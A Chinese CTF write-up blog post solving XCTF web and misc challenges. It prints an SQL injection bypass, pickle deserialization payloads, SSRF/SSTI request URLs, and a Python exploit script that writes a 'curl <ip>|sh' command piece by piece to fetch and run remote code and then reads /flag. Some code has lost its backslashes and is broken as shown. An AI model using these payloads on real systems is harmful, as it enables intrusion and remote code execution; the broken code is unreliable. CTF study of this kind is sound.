CTF笔记(二)——XCTF高校战“疫”【未完】

这次除了Web,还有一点misc(其实web基本做不出,还是misc做出的多一些,惨惨)

WEB

sqlcheckin

知识点:万能钥匙

靶机:看看ctfhub上有没有

参考链接:没有

Payload:

password=1'-'1

解析:

这道题我真的是无能为力了,这种万能钥匙还是第一次见。

在MySQL中测试如下:

MariaDB [(none)]> select "惨惨"='1'-'1';
+------------------+
| "惨惨"='1'-'1'   |
+------------------+
|                1 |
+------------------+
1 row in set, 1 warning (0.00 sec)

MariaDB [(none)]> select ""='1'-'1';
+------------+
| ""='1'-'1' |
+------------+
|          1 |
+------------+
1 row in set (0.00 sec)

MariaDB [(none)]> select 0='1'-'1';
+-----------+
| 0='1'-'1' |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

MariaDB [(none)]> select 1='1'-'1';
+-----------+
| 1='1'-'1' |
+-----------+
|         0 |
+-----------+
1 row in set (0.00 sec)

webtmp

知识点:Python pickle反序列化

靶机:看看ctfhub上有没有

参考链接:①http://blog.nsfocus.net/绕过-restrictedunpickler/
     ②https://docs.python.org/3.7/library/pickle.html#handling-stateful-objects
     ③https://docs.python.org/3.7/library/pickle.html#restricting-globals

Payload:

Y19fbWFpbl9fCnNlY3JldAp9UyduYW1lJwpTJycKc1MnY2F0ZWdvcnknClMnJwpzYi4=
gANjX19tYWluX18KQW5pbWFsCnEAKYFxAX1xAihYBAAAAG5hbWVxA1gAAAAAcQRYCAAAAGNhdGVnb3J5cQVoBHViLg==

解析:

又是第一次。。。知道python也有序列化这种东西,长见识了。。。
然而能找到有关pickle反序列化的例子基本都是围绕着魔术方法reduce展开的,而在这道题里,他给你把'R'给过滤了。。。

根据大佬提供的思路,虽然我们不能让她通过reduce命令执行,无法知晓secret里到底是什么,但我们可以尝试通过反序列化进行变量覆盖,改变secret的值。

根据参考链接②,可以发现pickle序列化和反序列化是通过getstatesetstate来实现的,而这两个魔术方法本质是通过 self.dict.copy和self.dict.update实现的,我们可以构造一个数据,让pickle在反序列化这个数据的时候执行secret.dict.update

在参考链接①中,我们可以了解到pickle反序列化后的每一个字节所对应的字符,通过手动组合这些字符来构造一个合法的pickle序列化后的数据。虽然可以用pickle自动生成,但是经过我无数次的尝试,pickle不能序列化module对象,始终没能成功构造出能更新secret的数据,不知道有没有到大佬是用pickle.dumps构造的。。。

经过数次尝试大概了解到pickle序列化后数据的语法规则大致如下,不确保是对的。。。:

protocol i       #本行可以省略,用以标注pickle版本号,最新的是/x80/x03
c__module__      #模块名,常见__bulitin__,本题中被限死了__main__
object           #对象名,可以是函数、类对象、模块也可以。。。
ops param        #每行可以有多个指令和一个参数,参数跟随组最后一个指令,参数和指令间没有空格
ops param        #也就是说如果要有多个指令,那么每行除了最后一个指令,前面的指令都是无参的
......           #每行间用n连接

我构造的用以更新pickle的序列化数据如下:

b"c__main__nsecretn}S'name'nS'123'nsS'category'nS'321'nsb."

之后只需要base64编码后发送过去更新secret,然后再构造一个参数一样的Animal发过去就好了。

注:虽然无论是pickle自身还是网上别人的例子都很喜欢在pickle序列化后数据的每两行指令之间加一句 p(put stack top to memory)或者u(unicode put stack top to memory),但是根据参考链接③以及测试发现,这个去掉也是能执行的

hackme

知识点:套娃(误)+ php session 反序列化 + data://过滤绕过 + linux四字节命令执行

题目:https://www.jianguoyun.com/p/DeYif9cQnNCABhjbne8C
   https://www.lanzous.com/ia38ylg

参考链接:①https://www.cnblogs.com/2881064178dinfeng/p/6150645.html
     ②https://blog.csdn.net/a3320315/article/details/102989485
     ③https://www.anquanke.com/post/id/87203

Payload:

import requests
import base64
req = requests.session()
res = req.post("http://121.36.222.22:88/login.php", data={"name": "sdas"})
payload1 = {
    "sign": '''sign|s:21:"这里空空如也哦";admin|i:1;admin2|a:1:{s:5:"admin";i:1;}'''}
res = req.post("http://121.36.222.22:88/upload_sign.php", data=payload1)
payload2 = "compress.zlib://data:@127.0.0.1/plain;base64,{code}"
ip = "*******"
payload2_parameters = ["rm *", ">dir", ">f>", ">kt-", ">sl", "*>v", ">rev", "*v>g", '>p', '>ph\', '>|\', ] + 
    [">%s\" % ip[i:i+2]
        for i in reversed(list(range(0, len(ip), 2)))]+["> \", ">rl\", ">cu\", "sh g", "sh f"]
[req.post("http://121.36.222.22:88/core/index.php", data={"url": payload2.format(
    code=base64.b64encode(each.encode()).decode())}) for each in payload2_parameters]
res = req.get("http://121.36.222.22:88/core/index.php")
sandbox = res.text[1:res.text.find("<code>")]
res = req.get("http://121.36.222.22:88/core"+sandbox +
              "/cmd.php?code=system(\"cat /flag\");")
print(res)
</code>

解析:

这道题一共有三层,依靠我自己的能力只解开了第一层,后面两层是在大佬的提点下做出来的。

首先来说第一层

网页交互的逻辑是你在?page=upload上传签名,然后在profile.php查看签名。但是当你上传签名后在profile.php你啥都看不到,这就很奇怪了。于是我们看到profile.php代码,你问我源码哪里来的?www.zip 啊!

<?php 
error_reporting(0);
session_save_path('session');
include 'lib.php';
ini_set('session.serialize_handler', 'php');
session_start();

class info
{
    public $admin;
    public $sign;

    public function __construct()
    {
        $this->admin = $_SESSION['admin'];
        $this->sign = $_SESSION['sign'];

    }

    public function __destruct()
    {
        echo $this->sign;
        if ($this->admin === 1) {
            redirect('./core/index.php');
        }
    }
}

$a = new info();
?>

乍一看这个profile.php,按理来说不应该啥都不显示啊,他不是echo了sign了吗?但是仔细一琢磨发现矛头全部都指向了session。

1、无法正确输出的$this->sign的值是从session中来的
2、$this->admin=1时重定向到的./core/index.php里提示我们要变成管理员,而$this->admin的值也是从session中来的
3、只有profile.php没有include init.php,而init.php中session.serialize_handler的值设置的是php_serialize不是php

综上经过检索,根据参考链接①,php_serialize设置下的session是完全按照php的序列化函数serialize的结果储存的,而php则是以"key|"+serialze(value)形式储存的。

所以我们在?page=upload的表单里post的sign=a,通过upload_sign.php以php_serialize方式存储在session里是这样的

a:2:{s:4:"sign";s:1:"a"sign";s:5:"admin";i:0;}

那么在profile.php里,因为以php方式读取读不到|,所以都读不到

如果我们post的sign=1|s:4:"sign",session是这样的

a:2:{s:4:"sign";s:12:"1|s:4:"sign"";s:5:"admin";i:0;}

那么在profile.php里,依旧读不到sign,能读到的只有$_SESSION['a:2:{s:4:"sign";s:12:"1']=sign

所以我们构造如下字符串传给sign

sign|s:21:"这里空空如也哦";admin|i:1;admin2|a:1:{s:5:"admin";i:1;}

这里还过构造了一个admin2=array("admin"=>1)是因为core/index.php里调用的check_session代码如下

function check_session($session)
{
    foreach ($session as $keys => $values) {
        foreach ($values as $key => $value) {
            if ($key === 'admin' && $value === 1) {
                return true;
            }
        }
    }
    return false;
}

我们不难发现他需要某一个session存的是含有admin=1的数组。。。

然后我们通过验证来到了core/index.php,可以看到给出了在提供给我们的源码里删去的部分

<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
    #hint : 从头再来
    $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
    echo $sandbox;
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_POST['url'])) {
        $url = $_POST['url'];
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            if (preg_match('/(data://)|(&)|(|)|(./)/i', $url)) {
                echo "you are hacker";
            } else {
                $res = parse_url($url);
                if (preg_match('/127.0.0.1$/', $res['host'])) {
                    $code = file_get_contents($url);
                    if (strlen($code) <= 4) {
                        @exec($code);
                    } else {
                        echo "try again";
                    }
                }
            }
        } else {
            echo "invalid url";
        }
    } else {
        highlight_file(__FILE__);
    }
} else {
    die('只有管理员才能看到我哟');
}

hint简直找打。。。

这里我们将要突破第二层和第三层

查阅资料了解到filter_var($url, FILTER_VALIDATE_URL)是检查url合法性
然后后面两个preg_match禁了data://还限制只能访问本机web目录。。。

向大佬求教得知可以用compress伪协议绕过,结合参考链接②,原来compress://data:可以用来代替data://。这样就绕过了对data://的过滤

这样我们就可以构造这样的参数来进行命令执行了

url=compress.zlib://data:@127.0.0.1/plain,****

不过如果****里包含空格会过不了filter_var,所以还需要这样的

url=compress.zlib://data:@127.0.0.1/plain;base64,****

然后就是最*疼的。。。只能执行四个命令,即使找到了解法也折腾了我好几个小时。。。

简单的来说就是利用linux shell下 ①*相当于ls 以及② 可以截断命令换行 结合③>输出到文件,将要执行的命令写入文件后执行。。。具体见参考链接③,此处不再赘述

happyvacation

知识点:git源码泄露+然后就不会了+

题目:

参考链接:

nothardweb

知识点:des cbs + java 啥的

题目:

参考链接:

Payload:

嫖了大佬搞出来iv,然后发现还得破个key,发现mt_rand()&99999999之后就2^19种可能,瞬间爆破出来
然后见到 10.10.1.12 和<---! ?php eval($_GET["cc"]);后就一脸懵逼了

fmkq

知识点:脑洞 + php命名空间 + 骚操作 + python ssti +php ssrf

题目:累死我了,改天再添加

参考链接:无

Payload:

vipcode: http://121.37.179.47:1101/?head=%5c&begin=%25s%25&url=http://localhost:8080/read/file=/tmp/{file.vip.__dict__}%26vipcode=0
flag:    http://121.37.179.47:1101/?head=%5c&begin=%25s%25&url=http://localhost:8080/read/file=/{vipfile.file[0]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=vipcode

解析:

一来就是亲切的php源码真好

<?php 
error_reporting(0); 
if(isset($_GET['head'])&&isset($_GET['url'])){ 
    $begin = "The number you want: "; 
    extract($_GET); 
    if($head == ''){ 
        die('Where is your head?'); 
    } 
    if(preg_match('/[A-Za-z0-9]/i',$head)){ 
        die('Head can't be like this!'); 
    } 
    if(preg_match('/log/i',$url)){ 
        die('No No No'); 
    } 
    if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){ 
        die('Don't use strange protocol!'); 
    } 
    $funcname = $head.'curl_init'; 

    $ch = $funcname(); 
    if($ch){ 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        $output = curl_exec($ch); 
        curl_close($ch); 
    } 
    else{ 
        $output = 'rua'; //我还在纳闷这是啥,然后突然明白了这不就是B站上那只大叫的什么东西来着
    } 
    echo sprintf($begin.'%d',$output); 
} 
else{ 
    show_source(__FILE__); 
}

$funcname = $head.'curl_init'这里的head不能是字母数字也不能为空,咨询大佬后得知可以传“”进去,最好记得url编码%5c一下,免得某些浏览器发抽给你换成/,我说的就是你QQ浏览器

 curl_setopt($ch, CURLOPT_URL, $url); 这里的url我试着让他访问我服务器上的脚本,但是我服务器并没有收到请求,所以估计只能访问自己,测试后发现127.0.0.1、0.0.0.0和localhost都是可以的

echo sprintf($begin.'%d',$output); 好诡异有木有,明明%d却给了个str,所以做点手脚,“%s%”,这样连起来就是%s%%d,%%转义成字符%

一波分析完后GET  http://121.37.179.47:1101/?head=%5c&begin=%25s%25&url=http://localhost

结果发现啥变化都发生。。。。!不对!网页最下面多了个%d,那么真相只有一个!代码执行成功了但是curl到的页面就是我们已经看到的这个23333(突然发现可以套娃诶,是不是就能输出一堆%d了23333)

然后就是脑洞时间2333,8080端口是可以访问的哈哈哈

所以GET  http://121.37.179.47:1101/?head=%5c&begin=%25s%25&url=http://localhost:8080 之后得到如下提示

Welcome to our FMKQ api, you could use the help information below To read file: /read/file=example&vipcode=example
if you are not vip,let vipcode=0,and you can only read /tmp/{file} Other functions only for the vip!!! %d

根据提示GET http://121.37.179.47:1101/?head=%5c&begin=%25s%25&url=http://localhost:8080/read/file=/tmp/{file}%26vipcode=0

其实一开始我url参数值这么写的 http://localhost:8080?/read/file=/tmp/{file}%26vipcode=0 结果没反应。。。因为他是pyhton写的所以根本没理会get传参的那一套。。。你问我怎么知道是Python的?我TM怎么知道这会是python啊,外面还是php里面突然跳python我TM,好吧。。。。我知道{file}在强烈暗示他是一个python ssti233

然后你会发现返回The content of error is error%d

如果你把/read/file=/tmp/{file}中的{}去掉再尝试,他会返回The content of /tmp/file is error%d
python ssti无疑了(最后拿到代码分析的时候,其实是没搞明白哪里导致的ssti的,还需要研究研究)

然后尝试/read/file=file.dict ,你问我咋知道是dict的?我也不知道啊,大佬说的
返回 The content of {'file': , 'vipcode': '0', 'vip': } is error%d 发现file有三个元素,vipcode是我们传进去的,剩下file和vip

依次尝试 file.file.dict和file.vip.dict最后在file.vip.dict里发现truevipcode
然后通过vipcode=true%26vipcode/read/file=可以读取几乎所有文件 /app/app.py、/app/readfile.py和/app/vip.py可以读取到本题的python程序文件

但是唯独fl4g_1s_h3re_u_wi11_rua被代码过滤了。。。
这里就是全场最骚的操作了,通过vipcode=true%26vipcode/read/file=/{vipfile.file[0]}l4g_1s_h3re_u_wi11_rua/flag就能读取到flag了

分析调用链可以发现 vipfile.file = File(os.path.basename(os.path.abspath("/{vipfile.file[0]}l4g_1s_h3re_u_wi11_rua/flag")))="flag"
所以vipfile.file[0]=f,而/{vipfile.file[0]}l4g_1s_h3re_u_wi11_rua/flag就被解析成了/fl4g_1s_h3re_u_wi11_rua/flag

送上最后的flag页面

Welcome,dear vip! Here are what you want: The file you read is: /fl4g_1s_h3re_u_wi11_rua/flag The content is: flag{*****}
Other files under the same folder: lib media opt var usr mnt bin root home tmp boot sys run sbin srv lib64 etc dev proc app .dockerenv fl4g_1s_h3re_u_wi11_rua%d

MISC

隐藏的信息

知识点:伪加密+音频隐写+藏在二维码图片文件里的字符串。。。

题目:https://www.lanzous.com/ia3ee1c

参考链接:无

解析:

谁TM知道二维码用记事本打开能看到USEBASE64TOGETYOURFLAG啊,关键是你这串字符还不在一起,尸首两地。。。害得我还考虑你这音频难道需要原音频反相叠加提取数据。。。
解压后拿到一个未加密压缩包“纯数字.zip”和一个扣去了三个角的二维码
二维码补齐三角后扫除如下字符:

flag{this is also not_ flag}解压密码不在这里0.0!

这。。。。找打!我还憨憨的去提交了一遍

解压伪加密压缩包得到音频文件,音频文件头尾有按键音,感谢某同学前两天刚给我发了一道这种按键音的misc,所以我知道频谱里下面一行表示手机键盘行号,上面一行表示列号。根据压缩包文件名提示转换为对应按键数字后base64编码即可得到flag

ez_mem&usb

知识点:内存取证+usb键盘数字报

题目:128MB,懒得传蓝奏云了。。。

参考链接:https://blog.csdn.net/weixin_30348519/article/details/96396583(内存取证就不放参考链接了,自己百度volatility就好)

解析:

解压获得vmem镜像,百度得知这是vmware的机镜像
请出内存取证工具volatility,其实我是刚刚apt install安装的。。。其实这题推荐在windows搞,因为这个虚拟机是xp

>volatility volatility -f data.vmem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (C:Usersq1079Desktopvolatility_2.6_win64_standalonedata.vmem)
PAE type : PAE
DTB : 0xb18000L
KDBG : 0x80546ae0L
Number of Processors : 1
Image Type (Service Pack) : 3
KPCR for CPU 0 : 0xffdff000L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2020-02-24 07:56:47 UTC+0000
Image local date and time : 2020-02-24 15:56:47 +0800

>volatility volatility -f data.vmem  --profile=WinXPSP2x86 cmdscan
Volatility Foundation Volatility Framework 2.6
**************************************************
CommandProcess: csrss.exe Pid: 464
CommandHistory: 0x556bb8 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 2 LastAdded: 1 LastDisplayed: 1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x504
Cmd #0 @ 0x3609ea0: passwd:weak_auth_top100
Cmd #1 @ 0x5576d0: start wireshark
Cmd #13 @ 0x9f009f: ??
Cmd #41 @ 0x9f003f: ??????????

>volatility -f data.vmem --profile=WinXPSP2x86 filescan | grep -E "flag"
Volatility Foundation Volatility Framework 2.6
0x0000000001155f90      1      0 R--rwd DeviceHarddiskVolume1Documents and SettingsAdministratorflag.img

>volatility -f data.vmem --profile=WinXPSP2x86 dumpfiles -Q 0x0000000001155f90 -n  --dump-dir ./
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x01155f90   None   DeviceHarddiskVolume1Documents and SettingsAdministratorflag.img

>foremost file.None.0xff425090.flag.img.dat
Processing: file.None.0xff425090.flag.img.dat
N&5=pwPK?ata.txt܃rl9$GJk~'($}([݋aնQ%(6ՀVWqKla|7:XXqLHx
*|

得到压缩包00000122.zip,输入密码(上面cmdscan出来的那个)解压可得userdata.txt,里面每行都是00:00:**:00:00:00:00:00这种形式,一开始猜是按行排列按列发送的数据包,后来怀疑是内存地址,最后求教大佬,大佬说是usb键盘的数据报。。。所以根据参考链接里的对应关系,写个python脚本很快就把flag跑出来了。。。

注:这里其实flag.img能直接用360压缩这类windows下的压缩软件打开,虽然会爆压缩包损坏,但是输入密码依然能得到userdata.txt,但是linux下用归档管理器不能正确解压。这里用foremost不用binwalk是因为binwalk提取出来的压缩包依旧是损坏的

不说点什么喵?

1 + 8 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据